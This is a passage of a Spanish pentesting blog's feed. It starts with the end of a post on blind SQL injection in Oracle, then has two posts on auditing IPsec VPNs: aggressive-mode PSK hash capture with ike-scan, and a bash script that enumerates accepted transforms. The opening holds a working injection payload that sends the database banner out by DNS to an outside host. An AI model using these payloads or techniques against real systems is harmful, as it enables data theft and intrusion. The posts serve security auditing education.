Como veis, es igual de útil. Aunque tened en cuenta que el protocolo DNS tiene ciertas restricciones como que los nombres de dominio no pueden contener espacios. Así que si intentamos sacar el banner de la base de datos, es más que posible que no nos llegue completo o directamente no se realice ninguna consulta DNS.&lt;br /&gt;
&lt;br /&gt;
Para ello, siempre se pueden utilizar funciones como &quot;replace&quot;:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: normal;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;id=500 and UTP_INADDR&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;, Courier, monospace; white-space: normal;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: red; font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;&lt;b&gt;GET_HOST_ADDRESS&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;( (SELECT&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;REPLACE(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-family: Courier New, Courier, monospace;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;banner, &#39; &#39;) FROM&amp;nbsp;v$version WHERE banner LIKE &#39;Oracle%&#39;)&amp;nbsp;||&#39;.myserver.com&#39;) is not NULL&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/pre&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Útil, ¿no? Espero que la próxima vez que tengáis una inyección SQL ciega en un Oracle os acordéis de estas técnicas para ahorraros tiempo y recursos.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/02/pero-senor-este-oraculo-no-esta-ciego.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/276956365215352646'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/276956365215352646'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/02/pero-senor-este-oraculo-no-esta-ciego.html' title='¡Pero señor! ¡Este oráculo no está ciego!'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhD9CIY4BTkVkshpygeiWk81vNMswbaAYPUS2RT5INi9xtXoia2vJtIil4a74enYprIumfaTAjfT2lnzMCm6in-RrP56c5JLvu8uY511P7XX_MSE8faDjmjqlrqEkL5nx2o9n6Lu31h0o-q/s72-c/Blind.jpeg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-4225473694286612723</id><published>2014-02-10T08:45:00.000+01:00</published><updated>2014-02-10T08:45:00.483+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Protocolos"/><category scheme="http://www.blogger.com/atom/ns#" term="VPN"/><title type='text'>Auditando VPNs (V): Modo Agresivo</title><content type='html'>&lt;pre&gt;  ****************************************************
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/10/auditando-vpns-i-introduccion-ipsec.html&quot; target=&quot;_blank&quot;&gt;Auditando VPNs (I): Introducción a IPsec&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-ii-enumeracion.html&quot;&gt;Auditando VPNs (II): Enumeración&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-iii-fingerprinting.html&quot;&gt;Auditando VPNs (III): Fingerprinting&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/01/auditando-vpns-iv-fingerprinting.html&quot;&gt;Auditando VPNs (IV): Cifrado&lt;/a&gt;
    &lt;b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/02/auditando-vpns-v-modo-agresivo.html&quot;&gt;Auditando VPNs (V): Modo Agresivo&lt;/a&gt;&lt;/b&gt;
  ****************************************************&lt;/pre&gt;
&lt;br /&gt;
Como ya comenté en la primera entrada de esta serie, el modo agresivo (&lt;i&gt;Aggressive Mode&lt;/i&gt;) se suele utilizar en combinación con el mecanismo de autenticación PSK (&lt;i&gt;Pre-Shared Key&lt;/i&gt;) y es la alternativa al &lt;i&gt;Main Mode&lt;/i&gt;. Según el estándar, el &lt;i&gt;main mode&lt;/i&gt;&amp;nbsp;debería estar implementado en todos los concentradores de VPN, mientras que el &lt;i&gt;aggressive mode&lt;/i&gt; es opcional.&lt;br /&gt;
&lt;br /&gt;
La principal diferencia entre ambos modos es que el modo agresivo es más simple y requiere menos intercambios de mensajes entre el cliente y el servidor para establecer la conexión. Esta ventaja se traduce en un descenso de la seguridad ofrecida por el modo principal. Veamos por qué:&lt;br /&gt;
&lt;br /&gt;
La siguiente secuencia muestra el intercambio de claves en modo principal (&lt;i&gt;main mode&lt;/i&gt;) con PSK:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;      Initiator                     Responder
     -----------                   -----------
      HDR, SA             --&amp;gt;
                          &amp;lt;--      HDR, SA
      HDR, KE, Ni         --&amp;gt;
                          &amp;lt;--      HDR, KE, Nr
      HDR*, IDii, HASH_I  --&amp;gt;
                          &amp;lt;--      HDR*, IDir, HASH_R

&lt;/pre&gt;
Los primeros dos mensajes negocian la política (el conjunto de atributos que se van a utilizar, la transformada). Los siguientes dos mensajes se usan para intercambiar los valores públicos para la negociación Diffie-Hellman y otra información secundaria. Los últimos dos valores, que ya van cifrados (los denota el *), autentican el intercambio DH.&lt;br /&gt;
&lt;br /&gt;
La secuencia siguiente muestra la misma negociación pero en modo agresivo (&lt;i&gt;aggressive mode&lt;/i&gt;):&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;      Initiator                     Responder
     -----------                   -----------
    HDR, SA, KE, Ni, IDii --&amp;gt;
                          &amp;lt;-- HDR, SA, KE, Nr, IDir, HASH_R
    HDR, HASH_I           --&amp;gt;
&lt;/pre&gt;
&lt;br /&gt;
En este caso, los primeros dos mensajes hacen la función de los cuatro primeros mensajes del intercambio en el modo principal, así que sirven para negociar la política, intercambiar los valores públicos DH, la información secundaria y los identificadores mutuos. Además, el segundo mensaje ya autentica al &quot;Responder&quot; (el servidor de VPN). El tercer y último mensaje autentica al &quot;Initiator&quot; y proporciona la &quot;prueba de participación&quot; en el intercambio.&lt;br /&gt;
&lt;br /&gt;
Como se puede observar, en la primera secuencia, los hashes se envían cifrados (recuerda el *), mientras que en la segunda secuencia todo se envía en texto claro. Estos hashes son los que se utilizan para la autenticación ya que consisten (a grandes rasgos) en una función HMAC usando como clave la clave compartida (PSK) y cifrando, entre otras cosas, el token nonce (Ni/Nr).&lt;br /&gt;
&lt;br /&gt;
Por tanto, si se utiliza el modo agresivo, el hash del servidor se puede capturar fácilmente de la red y se puede intentar romper. De conseguirlo, habríamos recuperado la clave compartida (PSK). Después de eso, utilizando algún cliente de VPN como &lt;a href=&quot;ftp://ftp.pgpi.org/pub/pgp/7.0/7.0.3/PGPFW703.zip&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;PGPNet&lt;/a&gt;&amp;nbsp;podríamos conectarnos sin ningún problema a la red a la que se accede por la VPN.&lt;br /&gt;
&lt;br /&gt;
Como podrás imaginar, el modo agresivo es uno de los aspectos más críticos a la hora de analizar la seguridad de un concentrador de VPN basado en IPsec.&lt;br /&gt;
&lt;br /&gt;
Otra de las diferencias entre ambos modos&amp;nbsp;es que, a diferencia de cómo funciona el modo principal, muchos concentradores de VPN tan sólo responden a una petición de entablar conexión utilizando el modo agresivo si se ha especificado un identificador de grupo válido (el IDii de las peticiones de arriba). Este identificador suele ser un nombre de usuario, un email, una dirección IP...&lt;br /&gt;
&lt;br /&gt;
¿En qué se traduce esto en la práctica para nosotros como auditores? Pues que si no enviamos un ID válido, podríamos no estar detectando que el modo agresivo está activo en un concentrador de VPNs y esto podría complicar la enumeración de dispositivos que soporten dicho modo.&lt;br /&gt;
&lt;br /&gt;
Para especificar que debemos utilizar el modo agresivo cuando tratamos de conectarnos con el ike-scan, se utiliza la opción: --aggressive. Para indicar un ID, se usa la opción --id, aunque si no se especifica nada, ike-scan usa él solito el nombre o la dirección IP del servidor como ID.&lt;br /&gt;
&lt;br /&gt;
Veamos el siguiente ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;$ sudo ike-scan -M --aggressive 10.48.226.227
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.48.226.227   Aggressive Mode Handshake returned
        HDR=(CKY-R=aa780a03dd39566b)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        VID=5fbfad1edd38566bbd15132b1455935a
        VID=09002689dfd6b712 (XAUTH)
        KeyExchange(128 bytes)
        ID(Type=ID_IPV4_ADDR, Value=10.48.226.227)
        Nonce(20 bytes)
        Hash(20 bytes)

Ending ike-scan 1.9: 1 hosts scanned in 0.235 seconds (4.26 hosts/sec).  1 returned handshake; 0 returned notify
&lt;/pre&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;br /&gt;
Si te fijas bien en la captura anterior, verás varios campos que no habían salido en las capturas que llevo puestas hasta la fecha:



&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;ID: como no se especificó nada, ike-scan ha utilizado la dirección IP del servidor (10.48.226.227).&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Nonce: es el desafío que se utiliza para autenticar a ambos extremos (lo que va firmado con el hash).&lt;/li&gt;
&lt;li&gt;Hash: es el valor que autentica al servidor.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
Como ya se me ha quedado un poco larga esta entrada explicando por qué el modo agresivo es más inseguro que el modo principal, dejaré el cómo romper (o tratar de hacerlo) el hash para la próxima entrada ;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/02/auditando-vpns-v-modo-agresivo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/4225473694286612723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/4225473694286612723'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/02/auditando-vpns-v-modo-agresivo.html' title='Auditando VPNs (V): Modo Agresivo'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-1113030594353667588</id><published>2014-01-27T08:45:00.000+01:00</published><updated>2014-02-10T12:09:10.859+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Pentesting"/><category scheme="http://www.blogger.com/atom/ns#" term="Protocolos"/><category scheme="http://www.blogger.com/atom/ns#" term="VPN"/><title type='text'>Auditando VPNs (IV): Cifrado</title><content type='html'>&lt;pre&gt;  ****************************************************
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/10/auditando-vpns-i-introduccion-ipsec.html&quot; target=&quot;_blank&quot;&gt;Auditando VPNs (I): Introducción a IPsec&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-ii-enumeracion.html&quot;&gt;Auditando VPNs (II): Enumeración&lt;/a&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-iii-fingerprinting.html&quot;&gt;Auditando VPNs (III): Fingerprinting&lt;/a&gt;
    &lt;b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/01/auditando-vpns-iv-fingerprinting.html&quot;&gt;Auditando VPNs (IV): Cifrado&lt;/a&gt;&lt;/b&gt;
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2014/02/auditando-vpns-v-modo-agresivo.html&quot;&gt;Auditando VPNs (V): Modo Agresivo&lt;/a&gt;
  ****************************************************&lt;/pre&gt;
&lt;br /&gt;
Después del gran parón que he sufrido durante un año, continúo con la auditoría de VPN basadas en IPsec por donde lo dejé. En esta entrega toca hablar de los cifrados soportados por el servidor/concentrador de VPNs.&lt;br /&gt;
&lt;br /&gt;
Cuando un cliente trata de conectarse a un servidor, lo hace utilizando una determinada combinación de parámetros, que se conoce como transformada (&lt;i&gt;transform&lt;/i&gt;). Existen un total de 16 atributos que se pueden configurar, aunque los más frecuentes son:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Algoritmo de Cifrado (1)&lt;/li&gt;
&lt;li&gt;Algoritmo de&amp;nbsp;Hash (2)&lt;/li&gt;
&lt;li&gt;Método de Autenticación (3)&lt;/li&gt;
&lt;li&gt;Grupo Diffie-Hellman (4)&lt;/li&gt;
&lt;/ul&gt;
Nota: Observa el número que he puesto entre paréntesis, porque lo vamos a utilizar luego, ya que las transformadas se definen asignando un valor a cada variable que se representa por dicho número.&lt;br /&gt;
&lt;br /&gt;
Otros posibles atributos son: Group Prime/Irreducible Polynomial, Group Generator One and Two, Group Curve A and B, Life Type, Life Duration...&lt;br /&gt;
&lt;br /&gt;
Cada parámetro se puede configurar con una serie de valores predefinidos que depende de la versión del protocolo que se esté utilizando. La versión 2 de IKE, por ejemplo, soporta más algoritmo de cifrado que la versión 1. Por otro lado, no todos los algoritmos tienen por qué estar soportados en el servidor de VPNs.&lt;br /&gt;
&lt;br /&gt;
Las siguientes tablas muestran los valores más frecuentes de los cuatro parámetros principales (consulta la especificación para las tablas completas):&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;Valor&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Algoritmo&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&amp;nbsp;Comentario&amp;nbsp;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;DES&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;2&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;IDEA&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;3&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Blowfish&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;4&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;RC5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Triple DES &amp;nbsp;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;6&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;CAST&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;7&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;AES&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;8&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Camellia&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/center&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Algoritmos de cifrado&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;Valor&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Algoritmo&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&amp;nbsp;Comentario&amp;nbsp;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;MD5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;2&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;SHA1&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;3&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Tiger&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;4&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;SHA2-256&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;SHA2-384&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;6&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;SHA2-512&amp;nbsp;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Raro&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/center&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Algoritmos de hash&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;Valor&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Algoritmo&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&amp;nbsp;Comentario&amp;nbsp;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&amp;nbsp;Pre-Shared Key (PSK)&amp;nbsp;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;2&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;DSS Signature&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;3&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;RSA Signature&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;4&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;RSA Encryption&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&amp;nbsp; Revised RSA Encryption &amp;nbsp;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;64221&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Hybrid Mode&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;65001&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;XAUTH&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/center&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Métodos de Autenticación&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;
&lt;table border=&quot;1&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;Valor&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Algoritmo&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;&amp;nbsp;Comentario&amp;nbsp;&lt;/th&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;1&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;MODP 768&amp;nbsp;&amp;nbsp;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;2&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;&amp;nbsp; MODP 1024 &amp;nbsp;&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Común&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;3&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;EC2N 155&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;4&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;EC2N 185&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Muy raro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;center&quot;&gt;5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;MODP 1536&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;Raro&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/center&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
Grupos Diffie-Hellman&lt;/div&gt;
&lt;br /&gt;
Una vez visto los valores más comunes, vamos a ver cómo especificar una determinada transformada con ike-scan. Para ello usaremos el parámetro &quot;--trans&quot;. Fíjate en los siguientes ejemplos:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;--trans=7/256,2,1,2 -&amp;gt; SA=(Enc=AES KeyLength=256 Hash=SHA1 Auth=PSK Group=2:modp1024)&lt;/pre&gt;
&lt;br /&gt;
Si no se especifica directamente, el primer atributo será el algoritmo de cifrado, el segundo el de hash y así... En el orden de los números de los que hablaba al principio del post.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;--trans=&quot;(1=5,2=2,3=3,4=2)&quot; -&amp;gt; SA=(Enc=3DES Hash=SHA1 Auth=RSA_Sig Group=2:modp1024)&lt;/pre&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px 5px;&quot;&gt;--trans=&quot;(4=2,3=3,2=2,1=5)&quot; -&amp;gt; SA=(Group=2:modp1024 Auth=RSA_Sig Hash=SHA1 Enc=3DES)&lt;/pre&gt;
&lt;br /&gt;
Si queremos tan sólo definir algún parámetro o queremos definir la transformada en el orden que nos parezca bien, entonces asignamos directamente el valor que nos interese a la variable en cuestión indicando su número (1=5 significa que como algoritmo de cifrado (1),&amp;nbsp;elegimos&amp;nbsp;3DES (valor 5 en la tabla)).&lt;br /&gt;
&lt;br /&gt;
Ahora os estaréis preguntando: ¿y todo esto para qué? Pues la respuesta es sencilla. Del mismo modo que en SSL se suele recomendar no utilizar cifrados que se consideran débiles, en IPsec tampoco es recomendable utilizar ciertos algoritmos. En concreto se desaconsejan los siguientes algoritmos:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;DES como algoritmo de cifrado.&lt;/li&gt;
&lt;li&gt;MD5 como algoritmo de hash.&lt;/li&gt;
&lt;li&gt;MOD768 como grupo Diffie-Hellman.&lt;/li&gt;
&lt;/ul&gt;
Y para comprobarlo, me temo que no queda otra que crear muuuuuchas combinaciones para ver si alguna acepta alguno de estos algoritmos. Es decir, DES puede estar siendo aceptado con SHA1 y MOD1024, por ejemplo, pero no con MD5 y MOD768 directamente.&lt;br /&gt;
&lt;br /&gt;
Por otro lado, si recuerdas lo que comentaba en la entrada sobre &lt;a href=&quot;http://laxmarcaellugar.blogspot.com.es/2012/11/auditando-vpns-ii-enumeracion.html&quot; target=&quot;_blank&quot;&gt;enumeración&lt;/a&gt;, muchas veces somos capaces de identificar el servicio pero no encontramos una transformada que la acepte el servidor.&lt;br /&gt;
&lt;br /&gt;
Así que para realizar varias transformadas de manera cómoda, yo suelo utilizar un script similar al siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;#!/bin/sh
#
# Encryption algorithms: DES, Triple-DES, AES/128, AES/192 and AES/256
ENCLIST=&quot;1 5 7/128 7/192 7/256&quot;
# Hash algorithms: MD5 and SHA1
HASHLIST=&quot;1 2&quot;
# Authentication methods: Pre-Shared Key, RSA Signatures, Hybrid Mode and XAUTH
AUTHLIST=&quot;1 3 64221 65001&quot;
# Diffie-Hellman groups: 1, 2 and 5
GROUPLIST=&quot;1 2 5&quot;
#
for ENC in $ENCLIST; do
   for HASH in $HASHLIST; do
      for AUTH in $AUTHLIST; do
         for GROUP in $GROUPLIST; do
            echo &amp;gt;&amp;gt; $2
            echo &quot;Transform: $ENC,$HASH,$AUTH,$GROUP&quot; &amp;gt;&amp;gt; $2
            ike-scan --trans=$ENC,$HASH,$AUTH,$GROUP -M $1 &amp;gt;&amp;gt; $2
         done
      done
   done
done
&lt;/pre&gt;
&lt;br /&gt;
Lo único que hace este script es probar varias transformadas e ir almacenando todos los resultados en un fichero. Se ejecutaría de la siguiente manera:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;# script.sh 10.0.0.2 fichero_resultados.txt&lt;/pre&gt;
&lt;br /&gt;
Luego, mirar el fichero a mano puede ser un poco lata, así que basta tirar de grep para sacar los resultados que realmente nos interesan:&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;border-style: dashed; border-width: 1px; padding: 5px;&quot;&gt;$ cat fichero_resultados.txt | grep -B 4 &quot;SA=&quot;&lt;/pre&gt;
&lt;br /&gt;
Y así tendremos el listado de todas las transformadas aceptadas por el concentrador de VPNs.&lt;br /&gt;
&lt;br /&gt;
¡Ojo! El script está hecho para probar los algoritmos más comunes. Si quisieras probar más o menos basta con que modifiques el valor de las variables&amp;nbsp;ENCLIST, HASHLIST, AUTHLIST y GROUPLIST.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/01/auditando-vpns-iv-fingerprinting.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/1113030594353667588'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/1113030594353667588'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2014/01/auditando-vpns-iv-fingerprinting.html' title='Auditando VPNs (IV): Cifrado'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 